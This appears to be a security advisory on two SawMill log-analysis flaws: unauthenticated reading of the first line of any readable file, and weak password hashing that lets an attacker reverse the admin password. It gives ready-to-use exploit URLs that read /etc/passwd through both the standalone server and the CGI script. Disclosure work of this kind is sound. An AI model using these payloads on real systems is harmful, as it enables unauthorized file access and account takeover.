SawMill is a site log statistics package for UNIX, Windows and MacOS. I  
have been evaluating it under Linux.  
  
In my test configuration I have sawmill listening on port 8987 of my  
webserver. I noticed two things.  
  
Dangerous.  
  
1) You can get sawmill to read you the first line of any (if run as  
nobody) world readable files without needing to authenticate first.  
  
The following will print the first line of /etc/passwd:  
  
http://192.168.1.65:8987/sawmill?rfcf+%22/etc/passwd%22+spbn+1,1,21,1,1,1,1,1,1,1,1,1+3  
  
You can imagine how much more fun this would be if it was launched as  
root. Which it should not and does not need to be.  
  
  
Sawmill can also be run as a cgi script. This method is vulnerable as  
well. The following will print the first line of the password file  
  
http://www.example.com/cgi-bin/sawmill5?rfcf+%22/etc/passwd%22+spbn+1,1,21,1,1,1,1  
  
  
more danger.  
  
2) The password is stored with a weak hash algorithm and can be decrypted  
using the attached C program. This is dangerous because the previous  
security hole will allow you to read the first line of the  
sawmill/SawmillInfo/SawmillPassword decrypt the password and access the  
site statistics, reconfigure sawmill. Along with the ability to browse  
the remote machines drive contents. If this is being run as root then  
the attacker can specify root readonly files as log files and read most if  
not all of their contents.

I have notified the vendor and they were very responsive and are currently  
working on a fix.
